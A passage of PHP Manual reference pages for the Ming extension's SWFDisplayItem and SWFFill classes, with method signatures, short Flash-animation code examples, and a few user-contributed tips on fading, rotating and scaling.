This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfbutton::setup() alias for addShape(shape, SWFBUTTON_UP).

Return Values

No value is returned.

See Also

  • SWFButton::addShape() - Adds a shape to a button
  • SWFAction

User Contributed Notes

There are no user contributed notes for this page.
SWFButton::setOver
SWFDisplayItem
SWFButton


The SWFDisplayItem class

(No version information available, might only be in SVN)

Introduction

SWFDisplayItem.

Class synopsis

SWFDisplayItem {
/* Methods */
void addAction ( SWFAction $action , int $flags )
void addColor ( int $red , int $green , int $blue [, int $a ] )
void endMask ( void )
float getRot ( void )
float getX ( void )
float getXScale ( void )
float getXSkew ( void )
float getY ( void )
float getYScale ( void )
float getYSkew ( void )
void move ( float $dx , float $dy )
void moveTo ( float $x , float $y )
void multColor ( float $red , float $green , float $blue [, float $a ] )
void remove ( void )
void rotate ( float $angle )
void rotateTo ( float $angle )
void scale ( float $dx , float $dy )
void scaleTo ( float $x [, float $y ] )
void setDepth ( int $depth )
void setMaskLevel ( int $level )
void setMatrix ( float $a , float $b , float $c , float $d , float $x , float $y )
void setName ( string $name )
void setRatio ( float $ratio )
void skewX ( float $ddegrees )
void skewXTo ( float $degrees )
void skewY ( float $ddegrees )
void skewYTo ( float $degrees )
}

Table of Contents

  • SWFDisplayItem::addAction — Adds this SWFAction to the given SWFSprite instance
  • SWFDisplayItem::addColor — Adds the given color to this item's color transform
  • SWFDisplayItem::endMask — Another way of defining a MASK layer
  • SWFDisplayItem::getRot — Description
  • SWFDisplayItem::getX — Description
  • SWFDisplayItem::getXScale — Description
  • SWFDisplayItem::getXSkew — Description
  • SWFDisplayItem::getY — Description
  • SWFDisplayItem::getYScale — Description
  • SWFDisplayItem::getYSkew — Description
  • SWFDisplayItem::move — Moves object in relative coordinates
  • SWFDisplayItem::moveTo — Moves object in global coordinates
  • SWFDisplayItem::multColor — Multiplies the item's color transform
  • SWFDisplayItem::remove — Removes the object from the movie
  • SWFDisplayItem::rotate — Rotates in relative coordinates
  • SWFDisplayItem::rotateTo — Rotates the object in global coordinates
  • SWFDisplayItem::scale — Scales the object in relative coordinates
  • SWFDisplayItem::scaleTo — Scales the object in global coordinates
  • SWFDisplayItem::setDepth — Sets z-order
  • SWFDisplayItem::setMaskLevel — Defines a MASK layer at level
  • SWFDisplayItem::setMatrix — Sets the item's transform matrix
  • SWFDisplayItem::setName — Sets the object's name
  • SWFDisplayItem::setRatio — Sets the object's ratio
  • SWFDisplayItem::skewX — Sets the X-skew
  • SWFDisplayItem::skewXTo — Sets the X-skew
  • SWFDisplayItem::skewY — Sets the Y-skew
  • SWFDisplayItem::skewYTo — Sets the Y-skew

User Contributed Notes

There are no user contributed notes for this page.
SWFButton::setUp
SWFDisplayItem::addAction
Ming


Adds this SWFAction to the given SWFSprite instance

SWFDisplayItem
SWFDisplayItem::addColor
SWFDisplayItem
PHP Manual

SWFDisplayItem::addAction

(PHP 4 >= 4.2.0)

SWFDisplayItem::addAction — Adds this SWFAction to the given SWFSprite instance

Description

void SWFDisplayItem::addAction ( SWFAction $action , int $flags )
Warning

This function is currently not documented; only its argument list is available.

Parameters

action

An SWFAction, returned by SWFAction::__construct().

flags

Return Values

No value is returned.

See Also

  • SWFAction

User Contributed Notes

There are no user contributed notes for this page.
SWFDisplayItem
SWFDisplayItem::addColor
SWFDisplayItem


Adds the given color to this item's color transform

SWFDisplayItem::addAction
SWFDisplayItem::endMask
SWFDisplayItem
PHP Manual

SWFDisplayItem::addColor

(PHP 4 >= 4.0.5)

SWFDisplayItem::addColor — Adds the given color to this item's color transform

Description

void SWFDisplayItem::addColor ( int $red , int $green , int $blue [, int $a ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::addcolor() adds the color to this item's color transform. The color is given in its RGB form.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFDisplayItem::addAction
SWFDisplayItem::endMask
SWFDisplayItem


Another way of defining a MASK layer

SWFDisplayItem::addColor
SWFDisplayItem::getRot
SWFDisplayItem
PHP Manual

SWFDisplayItem::endMask

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::endMask — Another way of defining a MASK layer

Description

void SWFDisplayItem::endMask ( void )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFDisplayItem::addColor
SWFDisplayItem::getRot
SWFDisplayItem


SWFDisplayItem::endMask
SWFDisplayItem::getX
SWFDisplayItem
PHP Manual

SWFDisplayItem::getRot

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::getRot —

Description

float SWFDisplayItem::getRot ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
SWFDisplayItem::endMask
SWFDisplayItem::getX
SWFDisplayItem


SWFDisplayItem::getRot
SWFDisplayItem::getXScale
SWFDisplayItem
PHP Manual

SWFDisplayItem::getX

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::getX —

Description

float SWFDisplayItem::getX ( void )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFDisplayItem::getY() - Description

User Contributed Notes

There are no user contributed notes for this page.
SWFDisplayItem::getRot
SWFDisplayItem::getXScale
SWFDisplayItem


SWFDisplayItem::getX
SWFDisplayItem::getXSkew
SWFDisplayItem
PHP Manual

SWFDisplayItem::getXScale

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::getXScale —

Description

float SWFDisplayItem::getXScale ( void )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFDisplayItem::getYScale() - Description

User Contributed Notes

There are no user contributed notes for this page.
SWFDisplayItem::getX
SWFDisplayItem::getXSkew
SWFDisplayItem


SWFDisplayItem::getXScale
SWFDisplayItem::getY
SWFDisplayItem
PHP Manual

SWFDisplayItem::getXSkew

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::getXSkew —

Description

float SWFDisplayItem::getXSkew ( void )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFDisplayItem::getYSkew() - Description

User Contributed Notes

There are no user contributed notes for this page.
SWFDisplayItem::getXScale
SWFDisplayItem::getY
SWFDisplayItem


SWFDisplayItem::getXSkew
SWFDisplayItem::getYScale
SWFDisplayItem
PHP Manual

SWFDisplayItem::getY

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::getY —

Description

float SWFDisplayItem::getY ( void )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFDisplayItem::getX() - Description

User Contributed Notes

There are no user contributed notes for this page.
SWFDisplayItem::getXSkew
SWFDisplayItem::getYScale
SWFDisplayItem


SWFDisplayItem::getY
SWFDisplayItem::getYSkew
SWFDisplayItem
PHP Manual

SWFDisplayItem::getYScale

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::getYScale —

Description

float SWFDisplayItem::getYScale ( void )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFDisplayItem::getXScale() - Description

User Contributed Notes

There are no user contributed notes for this page.
SWFDisplayItem::getY
SWFDisplayItem::getYSkew
SWFDisplayItem


SWFDisplayItem::getYScale
SWFDisplayItem::move
SWFDisplayItem
PHP Manual

SWFDisplayItem::getYSkew

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::getYSkew —

Description

float SWFDisplayItem::getYSkew ( void )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFDisplayItem::getXSkew() - Description

User Contributed Notes

There are no user contributed notes for this page.
SWFDisplayItem::getYScale
SWFDisplayItem::move
SWFDisplayItem


Moves object in relative coordinates

SWFDisplayItem::getYSkew
SWFDisplayItem::moveTo
SWFDisplayItem
PHP Manual

SWFDisplayItem::move

(PHP 4 >= 4.0.5)

SWFDisplayItem::move — Moves object in relative coordinates

Description

void SWFDisplayItem::move ( float $dx , float $dy )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::move() moves the current object by (dx,dy) from its current position.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

See Also

  • SWFDisplayItem::moveTo() - Moves object in global coordinates

User Contributed Notes

There are no user contributed notes for this page.
SWFDisplayItem::getYSkew
SWFDisplayItem::moveTo
SWFDisplayItem


Moves object in global coordinates

SWFDisplayItem::move
SWFDisplayItem::multColor
SWFDisplayItem
PHP Manual

SWFDisplayItem::moveTo

(PHP 4 >= 4.0.5)

SWFDisplayItem::moveTo — Moves object in global coordinates

Description

void SWFDisplayItem::moveTo ( float $x , float $y )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::moveto() moves the current object to (x,y) in global coordinates.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

See Also

  • SWFDisplayItem::move() - Moves object in relative coordinates

User Contributed Notes

There are no user contributed notes for this page.
SWFDisplayItem::move
SWFDisplayItem::multColor
SWFDisplayItem


Multiplies the item's color transform

SWFDisplayItem::moveTo
SWFDisplayItem::remove
SWFDisplayItem
PHP Manual

SWFDisplayItem::multColor

(PHP 4 >= 4.0.5)

SWFDisplayItem::multColor — Multiplies the item's color transform

Description

void SWFDisplayItem::multColor ( float $red , float $green , float $blue [, float $a ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::multcolor() multiplies the item's color transform by the given values.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Parameters

These parameters are floats between 0.0 and 1.0:

red

Value of red component

green

Value of green component

blue

Value of blue component

a

Value of alpha component

Return Values

No value is returned.

Examples

This simple example will modify your picture's atmosphere to Halloween (use a landscape or bright picture).

Example #1 swfdisplayitem::multcolor() example

<?php

$b = new SWFBitmap(file_get_contents("backyard.jpg"));
// note use your own picture :-)
$s = new SWFShape();
$s->setRightFill($s->addFill($b));
$s->drawLine($b->getWidth(), 0);
$s->drawLine(0, $b->getHeight());
$s->drawLine(-$b->getWidth(), 0);
$s->drawLine(0, -$b->getHeight());

$m = new SWFMovie();
$m->setDimension($b->getWidth(), $b->getHeight());

$i = $m->add($s);

for ($n=0; $n<=20; ++$n) {
  $i->multColor(1.0-$n/10, 1.0, 1.0);
  $i->addColor(0xff*$n/20, 0, 0);
  $m->nextFrame();
}

header('Content-type: application/x-shockwave-flash');
$m->output();
?>

User Contributed Notes

Anonymous 19-Aug-2009 02:15
Hey, this is a great function that I spent a lot of time looking for.

What is it great for? Fading. It gives you the ability to fade any supported object (including images) totally or even specific color channels.

The project I am working on requires a series of images and backgrounds to fade into each other. As a bit of a noob, I found the doc here and it's example a little confusing.

I thought that to provide a value for a color channel would change it, but it doesn't.

To say, just change the alpha channel value, you can write it like this

<?php
$movie=new SWFMovie();
$movie->setDimension(700,150);
$movie->setBackground(0,255,255);

// image to add to movie
$img="images/example.jpg";

// add it image to movie and fade its alpha channel
$png = new SWFBitmap(fopen($img,"rb"));
$f1 = $movie->add($png);

$f1->multColor(1,1,1,0.5);
?>

This code will load the image and give it s 50% transperancy.

Similarly, one can fade a single color channel by reducing the value for that specific channel.

<?php
$ft->multColor(0.5,1,1);
?>

This makes the red channel (remember rgb) 50% transparent. You can put a 0 there to completely remove the red channel.

Hope this helps any fellow noobs trying to figure out ming out there.
SWFDisplayItem::moveTo
SWFDisplayItem::remove
SWFDisplayItem


Removes the object from the movie

SWFDisplayItem::multColor
SWFDisplayItem::rotate
SWFDisplayItem
PHP Manual

SWFDisplayItem::remove

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::remove — Removes the object from the movie

Description

void SWFDisplayItem::remove ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::remove() removes this object from the movie's display list.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

See Also

  • SWFMovie::add() - Adds any type of data to a movie

User Contributed Notes

There are no user contributed notes for this page.
SWFDisplayItem::multColor
SWFDisplayItem::rotate
SWFDisplayItem


Rotates in relative coordinates

SWFDisplayItem::remove
SWFDisplayItem::rotateTo
SWFDisplayItem
PHP Manual

SWFDisplayItem::rotate

(PHP 4 >= 4.0.5)

SWFDisplayItem::rotate — Rotates in relative coordinates

Description

void SWFDisplayItem::rotate ( float $angle )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::rotate() rotates the current object by angle degrees from its current rotation.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

See Also

  • SWFDisplayItem::rotateTo() - Rotates the object in global coordinates

User Contributed Notes

alan_k at hklc dot com 31-Jul-2001 08:01
if you are looking to place 'rotated text' (not animated)
create the text without a location
then add it to the movie
$di = $movie->add($my_text_object);
then move and rotate the result.
$di->moveto($x,$y);
$di->rotate(90);
SWFDisplayItem::remove
SWFDisplayItem::rotateTo
SWFDisplayItem


Rotates the object in global coordinates

SWFDisplayItem::rotate
SWFDisplayItem::scale
SWFDisplayItem
PHP Manual

SWFDisplayItem::rotateTo

(PHP 4 >= 4.0.5)

SWFDisplayItem::rotateTo — Rotates the object in global coordinates

Description

void SWFDisplayItem::rotateTo ( float $angle )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::rotateto() set the current object rotation to angle degrees in global coordinates.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

Examples

This example bring three rotating string from the background to the foreground. Pretty nice.

Example #1 swfdisplayitem::rotateto() example

<?php
$thetext =  "ming!";

$f = new SWFFont("Bauhaus 93.fdb");

$m = new SWFMovie();
$m->setRate(24.0);
$m->setDimension(2400, 1600);
$m->setBackground(0xff, 0xff, 0xff);

// functions with huge numbers of arbitrary
// arguments are always a good idea!  Really!

function text($r, $g, $b, $a, $rot, $x, $y, $scale, $string)
{
  global $f, $m;

  $t = new SWFText();
  $t->setFont($f);
  $t->setColor($r, $g, $b, $a);
  $t->setHeight(960);
  $t->moveTo(-($f->getWidth($string))/2, $f->getAscent()/2);
  $t->addString($string);

  // we can add properties just like a normal PHP var,
  // as long as the names aren't already used.
  // e.g., we can't set $i->scale, because that's a function

  $i = $m->add($t);
  $i->x = $x;
  $i->y = $y;
  $i->rot = $rot;
  $i->s = $scale;
  $i->rotateTo($rot);
  $i->scale($scale, $scale);

  // but the changes are local to the function, so we have to
  // return the changed object.  kinda weird..

  return $i;
}

function step($i)
{
  $oldrot = $i->rot;
  $i->rot = 19*$i->rot/20;
  $i->x = (19*$i->x + 1200)/20;
  $i->y = (19*$i->y + 800)/20;
  $i->s = (19*$i->s + 1.0)/20;

  $i->rotateTo($i->rot);
  $i->scaleTo($i->s, $i->s);
  $i->moveTo($i->x, $i->y);

  return $i;
}

// see?  it sure paid off in legibility:

$i1 = text(0xff, 0x33, 0x33, 0xff, 900, 1200, 800, 0.03, $thetext);
$i2 = text(0x00, 0x33, 0xff, 0x7f, -560, 1200, 800, 0.04, $thetext);
$i3 = text(0xff, 0xff, 0xff, 0x9f, 180, 1200, 800, 0.001, $thetext);

for ($i=1; $i<=100; ++$i) {
  $i1 = step($i1);
  $i2 = step($i2);
  $i3 = step($i3);

  $m->nextFrame();
}

header('Content-type: application/x-shockwave-flash');
$m->output();
?>

See Also

  • SWFDisplayItem::rotate() - Rotates in relative coordinates

User Contributed Notes

There are no user contributed notes for this page.
SWFDisplayItem::rotate
SWFDisplayItem::scale
SWFDisplayItem


Scales the object in relative coordinates

SWFDisplayItem::rotateTo
SWFDisplayItem::scaleTo
SWFDisplayItem
PHP Manual

SWFDisplayItem::scale

(PHP 4 >= 4.0.5)

SWFDisplayItem::scale — Scales the object in relative coordinates

Description

void SWFDisplayItem::scale ( float $dx , float $dy )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::scale() scales the current object by (dx,dy) from its current size.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

See Also

  • SWFDisplayItem::scaleTo() - Scales the object in global coordinates

User Contributed Notes

There are no user contributed notes for this page.
SWFDisplayItem::rotateTo
SWFDisplayItem::scaleTo
SWFDisplayItem


Scales the object in global coordinates

SWFDisplayItem::scale
SWFDisplayItem::setDepth
SWFDisplayItem
PHP Manual

SWFDisplayItem::scaleTo

(PHP 4 >= 4.0.5)

SWFDisplayItem::scaleTo — Scales the object in global coordinates

Description

void SWFDisplayItem::scaleTo ( float $x [, float $y ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::scaleto() scales the current object to (x,y) in global coordinates.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

See Also

  • SWFDisplayItem::scale() - Scales the object in relative coordinates

User Contributed Notes

Julien Séjourné 18-Jul-2004 05:23
It's good to know that when you do "$i->scaleTo(0,0)", it doesn't output an "empty object" ( nothing... ) on the screen, but the object with its original dimensions.
12-Sep-2003 07:43
after a shape etc. has been added, the refence to the DisplayItem is returned:
             $displayItem = $sprite->add($shape);
             $displayItem->scaleTo(0.1,0.1);

the above scales it to 0.1 of whatever its original size was
SWFDisplayItem::scale
SWFDisplayItem::setDepth
SWFDisplayItem


Sets z-order

SWFDisplayItem::scaleTo
SWFDisplayItem::setMaskLevel
SWFDisplayItem
PHP Manual

SWFDisplayItem::setDepth

(PHP 4 >= 4.0.5)

SWFDisplayItem::setDepth — Sets z-order

Description

void SWFDisplayItem::setDepth ( int $depth )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::setdepth() sets the object's z-order to depth. Depth defaults to the order in which instances are created (by adding a shape/text to a movie)- newer ones are on top of older ones. If two objects are given the same depth, only the later-defined one can be moved.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFDisplayItem::scaleTo
SWFDisplayItem::setMaskLevel
SWFDisplayItem


Defines a MASK layer at level

SWFDisplayItem::setDepth
SWFDisplayItem::setMatrix
SWFDisplayItem
PHP Manual

SWFDisplayItem::setMaskLevel

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::setMaskLevel — Defines a MASK layer at level

Description

void SWFDisplayItem::setMaskLevel ( int $level )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFDisplayItem::setDepth
SWFDisplayItem::setMatrix
SWFDisplayItem


Sets the item's transform matrix

SWFDisplayItem::setMaskLevel
SWFDisplayItem::setName
SWFDisplayItem
PHP Manual

SWFDisplayItem::setMatrix

(PHP 4 >= 4.0.5)

SWFDisplayItem::setMatrix — Sets the item's transform matrix

Description

void SWFDisplayItem::setMatrix ( float $a , float $b , float $c , float $d , float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFDisplayItem::setMaskLevel
SWFDisplayItem::setName
SWFDisplayItem


Sets the object's name

SWFDisplayItem::setMatrix
SWFDisplayItem::setRatio
SWFDisplayItem
PHP Manual

SWFDisplayItem::setName

(PHP 4 >= 4.0.5)

SWFDisplayItem::setName — Sets the object's name

Description

void SWFDisplayItem::setName ( string $name )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::setname() sets the object's name to name, for targetting with action script. Only useful on sprites.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFDisplayItem::setMatrix
SWFDisplayItem::setRatio
SWFDisplayItem


Sets the object's ratio

SWFDisplayItem::setName
SWFDisplayItem::skewX
SWFDisplayItem
PHP Manual

SWFDisplayItem::setRatio

(PHP 4 >= 4.0.5)

SWFDisplayItem::setRatio — Sets the object's ratio

Description

void SWFDisplayItem::setRatio ( float $ratio )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::setratio() sets the object's ratio to ratio. Obviously only useful for morphs.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

Examples

This simple example will morph nicely three concentric circles.

Example #1 swfdisplayitem::setname() example

<?php

$p = new SWFMorph();

$g = new SWFGradient();
$g->addEntry(0.0, 0, 0, 0);
$g->addEntry(0.16, 0xff, 0xff, 0xff);
$g->addEntry(0.32, 0, 0, 0);
$g->addEntry(0.48, 0xff, 0xff, 0xff);
$g->addEntry(0.64, 0, 0, 0);
$g->addEntry(0.80, 0xff, 0xff, 0xff);
$g->addEntry(1.00, 0, 0, 0);

$s = $p->getShape1();
$f = $s->addFill($g, SWFFILL_RADIAL_GRADIENT);
$f->scaleTo(0.05);
$s->setLeftFill($f);
$s->movePenTo(-160, -120);
$s->drawLine(320, 0);
$s->drawLine(0, 240);
$s->drawLine(-320, 0);
$s->drawLine(0, -240);

$g = new SWFGradient();
$g->addEntry(0.0, 0, 0, 0);
$g->addEntry(0.16, 0xff, 0, 0);
$g->addEntry(0.32, 0, 0, 0);
$g->addEntry(0.48, 0, 0xff, 0);
$g->addEntry(0.64, 0, 0, 0);
$g->addEntry(0.80, 0, 0, 0xff);
$g->addEntry(1.00, 0, 0, 0);

$s = $p->getShape2();
$f = $s->addFill($g, SWFFILL_RADIAL_GRADIENT);
$f->scaleTo(0.05);
$f->skewXTo(1.0);
$s->setLeftFill($f);
$s->movePenTo(-160, -120);
$s->drawLine(320, 0);
$s->drawLine(0, 240);
$s->drawLine(-320, 0);
$s->drawLine(0, -240);

$m = new SWFMovie();
$m->setDimension(320, 240);
$i = $m->add($p);
$i->moveTo(160, 120);

for ($n=0; $n<=1.001; $n+=0.01) {
    $i->setRatio($n);
    $m->nextFrame();
}

header('Content-type: application/x-shockwave-flash');
$m->output();
?>

User Contributed Notes

There are no user contributed notes for this page.
SWFDisplayItem::setName
SWFDisplayItem::skewX
SWFDisplayItem


Sets the X-skew

SWFDisplayItem::setRatio
SWFDisplayItem::skewXTo
SWFDisplayItem
PHP Manual

SWFDisplayItem::skewX

(PHP 4 >= 4.0.5)

SWFDisplayItem::skewX — Sets the X-skew

Description

void SWFDisplayItem::skewX ( float $ddegrees )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::skewx() adds ddegrees to current x-skew.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

See Also

  • SWFDisplayItem::skewXTo() - Sets the X-skew
  • SWFDisplayItem::skewY() - Sets the Y-skew
  • SWFDisplayItem::skewYTo() - Sets the Y-skew

User Contributed Notes

There are no user contributed notes for this page.
SWFDisplayItem::setRatio
SWFDisplayItem::skewXTo
SWFDisplayItem


Sets the X-skew

SWFDisplayItem::skewX
SWFDisplayItem::skewY
SWFDisplayItem
PHP Manual

SWFDisplayItem::skewXTo

(PHP 4 >= 4.0.5)

SWFDisplayItem::skewXTo — Sets the X-skew

Description

void SWFDisplayItem::skewXTo ( float $degrees )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::skewxto() sets the x-skew to degrees. For degrees is 1.0, it means a 45-degree forward slant. More is more forward, less is more backward.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

See Also

  • SWFDisplayItem::skewX() - Sets the X-skew
  • SWFDisplayItem::skewY() - Sets the Y-skew
  • SWFDisplayItem::skewYTo() - Sets the Y-skew

User Contributed Notes

There are no user contributed notes for this page.
SWFDisplayItem::skewX
SWFDisplayItem::skewY
SWFDisplayItem


Sets the Y-skew

SWFDisplayItem::skewXTo
SWFDisplayItem::skewYTo
SWFDisplayItem
PHP Manual

SWFDisplayItem::skewY

(PHP 4 >= 4.0.5)

SWFDisplayItem::skewY — Sets the Y-skew

Description

void SWFDisplayItem::skewY ( float $ddegrees )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::skewy() adds ddegrees to current y-skew.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

See Also

  • SWFDisplayItem::skewYTo() - Sets the Y-skew
  • SWFDisplayItem::skewX() - Sets the X-skew
  • SWFDisplayItem::skewXTo() - Sets the X-skew

User Contributed Notes

There are no user contributed notes for this page.
SWFDisplayItem::skewXTo
SWFDisplayItem::skewYTo
SWFDisplayItem


Sets the Y-skew

SWFDisplayItem::skewY
SWFFill
SWFDisplayItem
PHP Manual

SWFDisplayItem::skewYTo

(PHP 4 >= 4.0.5)

SWFDisplayItem::skewYTo — Sets the Y-skew

Description

void SWFDisplayItem::skewYTo ( float $degrees )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::skewyto() sets the y-skew to degrees. For degrees is 1.0, it means a 45-degree forward slant. More is more upward, less is more downward.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

See Also

  • SWFDisplayItem::skewY() - Sets the Y-skew
  • SWFDisplayItem::skewX() - Sets the X-skew
  • SWFDisplayItem::skewXTo() - Sets the X-skew

User Contributed Notes

There are no user contributed notes for this page.
SWFDisplayItem::skewY
SWFFill
SWFDisplayItem


The SWFFill class

(No version information available, might only be in SVN)

Introduction

The SWFFill object allows you to transform (scale, skew, rotate) bitmap and gradient fills.

swffill objects are created by the SWFShape::addFill() method.

Class synopsis

SWFFill {
/* Methods */
void moveTo ( float $x , float $y )
void rotateTo ( float $angle )
void scaleTo ( float $x [, float $y ] )
void skewXTo ( float $x )
void skewYTo ( float $y )
}

Table of Contents

  • SWFFill::moveTo — Moves fill origin
  • SWFFill::rotateTo — Sets fill's rotation
  • SWFFill::scaleTo — Sets fill's scale
  • SWFFill::skewXTo — Sets fill x-skew
  • SWFFill::skewYTo — Sets fill y-skew

User Contributed Notes

There are no user contributed notes for this page.
SWFDisplayItem::skewYTo
SWFFill::moveTo
Ming


Moves fill origin

SWFFill
SWFFill::rotateTo
SWFFill
PHP Manual

SWFFill::moveTo

(PHP 4 >= 4.0.5)

SWFFill::moveTo — Moves fill origin

Description

void SWFFill::moveTo ( float $x , float $y )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Moves the fill origin to the given global coordinates.

Parameters

x

X-coordinate

y

Y-coordinate

Return Values

No value is returned.

User Contributed Notes

17-Jul-2003 12:05
onClipEvent()

At the mailinglist on www.opaque.net I found SWFDisplayItem->addAction,
which is defined in ming-0.2a/php_ext/ming-4.0.7.c
Seems to be the equivalent to the onClipEvent() function in ActionScript:

void SWFDisplayItem->addAction(SWFAction action, int flags)

flags for SWFDisplayItem_addAction as PHP-Constants:

SWFACTION_ONLOAD
SWFACTION_ENTERFRAME
SWFACTION_UNLOAD
SWFACTION_MOUSEMOVE
SWFACTION_MOUSEDOWN
SWFACTION_MOUSEUP
SWFACTION_KEYDOWN
SWFACTION_KEYUP
SWFACTION_DATA

The following might be the same as onClipEvent(data) inside $child:

$m = new SWFMovie();
...
$child = new SWFMovie();
...
// SWFMovie->add returns SWFDisplayItem:
$i = $m->add($child);
$i->addAction($action_script, SWFACTION_DATA);

Jan
SWFFill
SWFFill::rotateTo
SWFFill


Sets fill's rotation

SWFFill::moveTo
SWFFill::scaleTo
SWFFill
PHP Manual

SWFFill::rotateTo

(PHP 4 >= 4.0.5)

SWFFill::rotateTo — Sets fill's rotation

Description

void SWFFill::rotateTo ( float $angle )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Sets the fill rotation to the given angle.

Parameters

angle

The rotation angle, in degrees.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SWFFill::moveTo
SWFFill::scaleTo
SWFFill


Sets fill's scale

SWFFill::rotateTo
SWFFill::skewXTo
SWFFill
PHP Manual

SWFFill::scaleTo

(PHP 4 >= 4.0.5)

SWFFill::scaleTo — Sets fill's scale

Description

void SWFFill::scaleTo ( float $x [, float $y ] )
Warning

